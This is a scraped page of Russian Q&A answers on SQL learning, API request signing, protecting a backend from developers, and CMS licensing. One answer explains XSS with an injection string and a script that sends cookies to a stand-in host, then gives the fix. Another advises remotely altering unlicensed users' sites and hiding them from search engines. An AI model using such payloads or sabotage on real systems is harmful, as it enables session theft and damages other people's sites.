• Как изучить язык баз данных SQL?

    @poimanoo
    Я перед собеседованием на должность sql-джуна будучи полным нулем за ночь порешал задачки на этом сайте и на следующий день решил все предложенные задачи и был принят) Скажу так - я бы посоветовал порешать эти задачи, они там предлагаются по нарастанию сложности и подкреплены теорией, за которой вам не нужно лишний раз лезть в учебники. Уверяю, с каждым десятком решенных задач Вы будете чувствовать себя гуру sql) Спустя задачек 30, когда у Вас сформируется представление о том, что из себя представляет SQL на деле, тогда можно приступать к литературе, поверьте, после практики гораздо легче воспринимать материал, ибо уже имеется представление, о чем речь.
    По литературе(с небольшими пояснениями):

    1. Введение в системы баз данных(Автор C.J.Date) - на мой взгляд очень доступное и максимально компактное описание того, на чем базируется SQL, разжеваны основные понятия, рассмотрены нормальные формы, а после предлагаются задачки.

    2. SQL Полное руководство - тут понятно по названию, здесь можно найти описание всех возможностей. Ищите наиболее позднее издание(у меня третье, для примера, это 2015 год).

    3. Программирование баз данных SQL Типичные ошибки и их устранение - был влюблен в эту книгу за ее легкость и наглядность. Тут вам не просто покажут наглядно, как делать не нужно, а еще и предложат возможные и наиболее эффективные решения для тех или иных ситуаций.

    Если вы выбрали MS SQL Server:

    1. Microsoft SQL Server 2012 Руководство для начинающих - там хоть и не сильно углубляясь, но описано почти все что нужно на начальных этапах. Там и про индексы, и про оптимизацию, и про бизнес-аналитику, в общем, рекомендую.

    2. Microsoft SQL Server 2012 Создание запросов - просто и исчерпывающе(на момент издания) о том, как можно и нужно писать запросы на t-sql(расширение sql для MS SQL Server) с закреплением материала предлагаемыми заданиями.

    Если Вы выбрали Postgresql, то официальное руководство там исчерпывающее.

    По Oracle и MySQL советов дать не могу, ибо дела не имел. Удачи!
    Ответ написан
    1 комментарий
  • Как изучить язык баз данных SQL?

    @AlexndrNovikov
    Solution Architect in Spiral Scout
    Книги это, конечно, здорово, но как показывает практика, большинство книги либо забрасывает, либо просто читает и не особо новые знания впитывает. (если речь о начинающих разработчиках, которые прям с нуля начинают книгу читать)

    А самый логичный способ что-то изучить - это практика, практика и еще раз практика. Если нет реального проекта с реальными проблемами - рекомендовал бы пару ресурсов: sql-ex и pgexercises, там можно поработать как с совсем простыми и примитивными запросами, так и с гораздо более сложными.

    Ну а овладев азами можно уже и книгу брать, чтобы закрыть пробелы, либо документацию по конкретной СУБД
    Ответ написан
    3 комментария
  • Так, с linux все понятно. Как насчет кастомизации Windows?

    Radjah
    @Radjah
    > Я (как и руководство компании, в которой я работаю)
    "Ни разу не технарь, но знаю лучше всех"

    Тебе от компа требуется загрузка по сети и запуск RDP-клиента, а ты пытаешься сделать какую-то универсальную хрень для всего.
    В офисе за глаза хватит тонкого клиента на линуксе в squashfs, который грузится по сети и запускает RDP-клиент.

    > и продажники часто отсутствуют в офисе, а иметь доступ к своему рабочему месту им необходимо и за пределами доступа витой пары
    И поэтому мы добавим им геморроя с зависимостью от качества подключения к интернету, потому что продажник должен страдать, ага. Сделай ограниченную учетку, если не доверяешь людям.
    Ответ написан
    1 комментарий
  • Как обезопасить сервер при получении POST?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    Почитайте как сделать правильно REST API (для POST и не только).
    • HASH - подпись с применением функций хеширования и формул конкатенации данных запроса.
    • RANDOM - случайная строка символов или число для создания уникального запроса
    • TIMESTAMP - контроль давности запроса на стороне сервера.

    Кратко: нужно три дополнительных параметра (кроме параметров запроса к API): HASH, RANDOM, TIMESTAMP.
    HASH - формируем по TOKEN'у (его мы получаем заранее от сервера) на основе всех данных, передаваемых при запросе к API: API-параметры, RANDOM и TIMESTAMP.
    Проверяем подпись при получении запроса и сравниваем с HASH: если подпись равна HASH - исполняем запрос.
     

    UPD: про домен (доп.вариант проверки):
    Входные данные, которым мы хотим доверять:
    1. Доменное имя клиента API: домен_ожидаемый
    2. TXT-запись домена клиента API: TXT_запись_ожидаемая

    Имеющиеся данные (при получении запроса к API от клиента):
    3. IP клиента API: IP(1)

    При инициализации новой сессии (перед формировании нового токена), можно делать 3-4 DNS-запроса к любому публичному DNS-серверу (перед непосредственной генерацией токена!):
    1. reverse_lookup (IP(1) клиента API в имя домена(1)) => узнали домен(1).
    2. lookup (домен(1) в IP(2) по A-записи) => узнали IP(2)
    3. снова reverse_lookup (IP(2) в имя домена(2)).
    4. По желанию: можно проверить наличие нужных TXT-записей (и любых других) и сравнить с ожидаемыми (т.н., "статический публичный токен").

    После получения всех данных, проверяем:
    Домен_ожидаемый===домен(1) && IP(1)===IP(2) && домен(1)===домен(2) && TXT_запись_ожидаемая===TXT_запись_полученная

    Если выражение истинно, то выписываем токен на обратившийся клиентский IP для предоставления доступа этому клиенту для начала работы с нашим API.
    Ответ написан
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как и что учить по сетям?

    @Strabbo
    Для cisco могу посоветовать "Сети для самых маленьких" . Отличный курс . Также у них есть свой сайт, где много интересного и не только cisco. Так же у INE есть отличные курси и по циске и по джуну.

    P.S. В packet tracer столькнётесь со многими багами, для начала вам сойдет, потом сомтрите в сторону GNS3 и Eve-ng. У них есть возможность виртуализировать и циско и микротик и джунипер и линукс сервер. Для huawei лучше использовать eNSP
    Ответ написан
    Комментировать
  • Как обезопасить свой бекенд от разработчиков?

    Wolfnsex
    @Wolfnsex
    Если не хочешь быть первым - не вставай в очередь!
    Особенно интересно, как этот вопрос решается на крупных сайтах. Может ли там кто-то взять и завалить сайт в одиночку? В общем, очень интересная тема, в которой ничего не представляю.
    Не буду многословен в этот раз, расскажу Вам вкратце, как это реализовано у нас:
    0. Тим лид/Ведущий разработчик/Руководитель отдела разработчиков или иной ответственный, проводящий анализ кода (Code review)
    1. Договор, в котором чёткое написано, что за причинение умышленного ущерба работодателю/проекту - штраф (очень много тыс. зеленых рублей)
    *я ещё хотел вписать в договор пункт, на подобии "за систематическое нарушение Code convention (соглашения по написанию кода) - отрубать по одному пальцу", но юрист не одобрил...

    Про такие банальные вещи, как: бекап, тестовый сервер, Git и т.п. я думаю говорить не стоит, т.к. без подобных штук жить и работать если и возможно - то очень тяжело, особенно на мало мальски крупных проектах.

    Подберите хорошего (как специалиста) и преданного своему делу, адекватного руководителя проекта/разработчиков, сочетание таких факторов как "здоровая атмосфера" на работе + договор с пунктом "за причинение умышленного ущерба проекту - ответственность вплоть до уголовной" + соблюдение обязательств перед разработчиками с Вашей стороны - разительно сокращает риск различных негативных поступков со стороны разработчиков (впрочем, как и любых других людей).

    На 100% застраховаться, разумеется не получиться, но любой вменяемый разработчик, должен понимать, что за проектом следят/смотрят, и "откуда растут ноги" у такого явления как "убили базу и положили сайт" - при желании можно быстро найти, проанализировав некоторый срез активности... Иногда неплохо им об этом напоминать.
    Ответ написан
    4 комментария
  • Как обезопасить свой бекенд от разработчиков?

    CityCat4
    @CityCat4 Куратор тега Информационная безопасность
    //COPY01 EXEC PGM=IEBGENER
    Решается комплексом из технических и юридических мер.
    Технически - бэкапы, разные, разными средствами, никому недоступные.
    Юридически - изучить гл. 70 ГК РФ "Авторское право" (там много не относящегося к ПО, правда), дать изучить бэкендеру. Изучить УК РФ, ст. 146 и ст. 272 - и дать изучить бэкендеру (особенно ст. 272). Правильно составить договор - там тонкостей до... фига :)
    Ответ написан
    1 комментарий
  • Как обезопасить свой бекенд от разработчиков?

    borisdenis
    @borisdenis
    Ленив и вреден...
    Во первых бекапы. Поломал - зафиксировали, отправили заяву в ментовку и восстановились из бекапа.
    От закладок поможет наличие либо знаний, либо второго человека, который будет работать в комманде.
    Ну и самое главное - хорошие отношения с работниками и не наё... с зарплатой, обещал - плати.
    Ответ написан
    8 комментариев
  • Как обезопасить свой бекенд от разработчиков?

    thewind
    @thewind
    php программист, front / backend developer
    Git + gitflow + code review
    Любые странные куски обсуждаются
    Ответ написан
    4 комментария
  • Как обезопасить свой бекенд от разработчиков?

    index0h
    @index0h
    PHP, Golang. https://github.com/index0h
    Он запрятал кусок кода, что если на сайт входит юзер с ником xxx, то удалить всю базу данных пользователей.

    Не обманывайте программиста, платите в срок и все будет хорошо.

    Что делать?

    Подписать договор, в котором явно обозначить пункт о причинении вреда исполнителем.

    Как доверять сердце своего проекта незнакомых людям?

    Так же, как вы доверяете зубному.

    Особенно интересно, как этот вопрос решается на крупных сайтах.

    На крупных сайтах это решается за счет контроля доступа и штата программистов и сисдаминов, которые поддерживают систему 365/24/7

    Может ли там кто-то взять и завалить сайт в одиночку?

    Да, безусловно. Но смысла в этом нет.

    В общем, очень интересная тема, в которой ничего не представляю.

    Программисты - люди далеко не глупые, как правило. Действия, что вы привели в пример возможны, но только в случае крайнего недоверия программиста-новичка к вам как заказчику.
    Ответ написан
    8 комментариев
  • Как обезопасить свой бекенд от разработчиков?

    @xfg
    Удалить может и пользователь используя уязвимость. Вообще в этом мире существуют бекапы, а так неплохо бы код ревью делать. Никакие изменения не мержатся пока их не подтвердят два других разработчика. Не для того чтобы обезопаситься, а чтобы спагетти-код не проходил. Это в интересах разработчиков. Им же возможно в будущем придется разбираться в этой лапше. Поэтому проще сразу отклонить.

    У рядового разработчика не должно быть доступа на продакшен. Оно ему не надо. Вытянул код из репозитория, накатил тестовую базу. Сделал изменения. Отправил пулл реквест.

    Если у вас всё делает один человек, а вы только создаете видимость работы, то конечно он вас кинет если будет прибыль. Сколько уже видел таких ламерских проектов. Пациент нашел раба. Сам ничего не может. Жмет кнопки в админке. Считает, что работает за семерых. Раб везет телегу до поры до времени. Упс, а у пациента даже бекапов нет. Ибо идиот. Прикольно за этим наблюдать.
    Ответ написан
  • Как бы массово раздать файл на телевизоры?

    edinorog
    @edinorog
    Троллей не кормить!
    проигрывание файла с любого сетевого хранилища (nas) нынче не в моде?)

    https://www.dns-shop.ru/catalog/17a8ab5b16404e77/s... на вкус и цвет. лижи какой хошь )

    соответственно все телевизоры связываем через впн сервер (если здания не связан сетью) с сетевым хранилищем. и берем плеер-приложение которым можно управлять удаленно. если там есть андроид.
    Ответ написан
    2 комментария
  • Как бы массово раздать файл на телевизоры?

    Stalker_RED
    @Stalker_RED
    Есть такая штука как DLNA, и очень многие бытовые устройства умеют с ней работать. Есть и аналоги, типа miracast, apple airplay, и т.д., по ссылкам из вики можно на них выйти.

    Если вдруг часть телевизоров недостаточно умные, есть разнообразные "тв свистки" и приставки.
    https://ru.aliexpress.com/wholesale?catId=0&Search...
    Ответ написан
    3 комментария
  • Как сверстать шестикутники чтоб фон у них юила одна картинка?

    LenovoId
    @LenovoId
    svg, css,js
    шестикутники чтоб фон у них юила одна картинка

    это на каком языке ?
    Ответ написан
    1 комментарий
  • Как это сверстать?

    Stimulate
    @Stimulate
    могу
    Ответ написан
    Комментировать
  • Как реализовать такую штуку для удобного заполнения через админку?

    neuotq
    @neuotq
    Прокрастинация
    Я думаю вам отлично подойдет API Яндекс карт, у них есть возможность использования и построения собственных карт в отрыве от земной поверхности.
    А дальше в базе данных будете хранить id значков, id и координаты объектов, ну и прочие параметры.
    Общий смысл работы такой же, как и с обычными яндекс картами.
    Ответ написан
    Комментировать
  • Стрим с вэб-камер на сайт?

    @marataziat
    Джангист-тракторист
    Поднимаете RTMP сервер на Nginx, (это очень просто), ему через FFMpeg стримите по RTMP поток, этот поток выводите на плеер (их готовых куча)! Могу сделать :3
    Ответ написан
    Комментировать
  • Какой конструктор лендинга?

    Hando
    @Hando
    Верстак
    Сканнеров не знаю, но если нужен конструктор лендингов, проще купить на themeforest какой-нибудь конструктор лендингов, которых там навалом, за 15 баксов и не париться, чем платить абонентку. По запросу Page Builder вылезет целая куча. Я использовал вот такой: https://themeforest.net/item/select-landing-page-s... до сих пор у меня лежит на каком то сайте. Но это уже довольно древний билдер, ему года два, сейчас есть новее и современнее.

    А все эти наши отечественные конструкторы имеют ряд критичных минусов:
    1. Абонентка от 300 до 1500 рублей.
    2. Зачастую всего 1 домен на 1 учетную запись.
    3. Проблемы с внедрением стороннего кода. Например своих плагинов на квери или корзинки на аяксе.
    4. Дополнительное вымогание денег за всякие копирайты и прочую ерунду.
    5. Нет возможности самому исправить баги(а они есть везде), в результате приходится сидеть и ждать когда снизойдут сами разработчики, чтобы пофиксить то, что вам надо.
    Ответ написан
    2 комментария
  • Имею ли я право препятствовать работе сайтов, использующих созданную мною CMS незаконно?

    zoonman
    @zoonman
    ⋆⋆⋆⋆⋆
    Часть первая, добрая

    1. Идете к юристу и оформляете правильную лицензию, в которой вы предоставляете право на использование вашего продукта. Жестко запретите модификацию кода CMS всеми, кроме вас. Оставьте за собой право модификации кода удаленно, в любое время без предварительных уведомлений. Оставьте за собой право отзыва или изменения лицензий без уведомлений и объяснений. Запретите перепродажу. В лицензии добавьте оговорку насчет статьи 273, что действия по модификации кода сайта являются санкционированными и неотъемлемой частью продукта.
    2. Реализуете и обкатываете механизм автоматического лицензирования через интернет. Вешаете лицензионное соглашение на официальный сайт продукта.
    3. Рассылаете всем нелицензионным пользователям "письмо счастья", в котором доходчиво объясняете, что их копия не лицензирована и т.д. Рекомендую вам разрешить использование своей CMS для некоммерческих организаций и домашних страничек без рекламы при наличии ссылки на сайт продукта. Предложите бесплатное обновление для некоммерческих пользователей.

    Часть вторая, злая

    1. После введения новой лицензии, но до уведомления всех письмами счастья, удаленно зашиваете код, который будет выводить html-комментарий о том, что данная копия не имеет лицензии т.д. и т.п. Там же должна быть ссылка на ваш сайт, где можно лицензировать продукт. Данный шаг не будет препятствовать работе с сайтом.
    2. Рассылаете письма счастья.
    3. Ждете, пока пройдет срок, в течение которого компании должны лицензировать свои версии.
    4. Вместе с юристом выбираете компанию, на которую вы подадите в суд за нелицензионное использование своей CMS и у которой точно выиграете дело. Судитесь. Выигрываете. Далее на сайте проекта вешаете официальную информацию о судебном разбирательстве и решении в пользу истца. Делаете огласку истории, публикуете ее на всяких Спарках/Хабрах/Цукербергах и прочих ресурсах.
    5. Через месяцок рассылаете новые письма счастья с уведомлением о том, что бывает с теми, кто отказался. Ссылку на результаты разбирательства приводите.
    Плюс, можете вывесить список сайтов у себя, где нелегально используется ваша CMS.

    Работайте и разговаривайте исключительно с компаниями, которые непосредственно зарабатывают деньги через вашу CMS и для которых сайт действительно важен. На школьников, геймеров и мусор не тратье время. Шкурка выделки не стоит.

    Часть третья, плохая

    Для всяких нехороших людей, ничего из себя не представляющих и пишущих маты вам в ответ, включайте 404-ю для поисковых роботов. Они очень громко будут вас ругать на форумах. Не обращайте внимания.
    Ответ написан
    Комментировать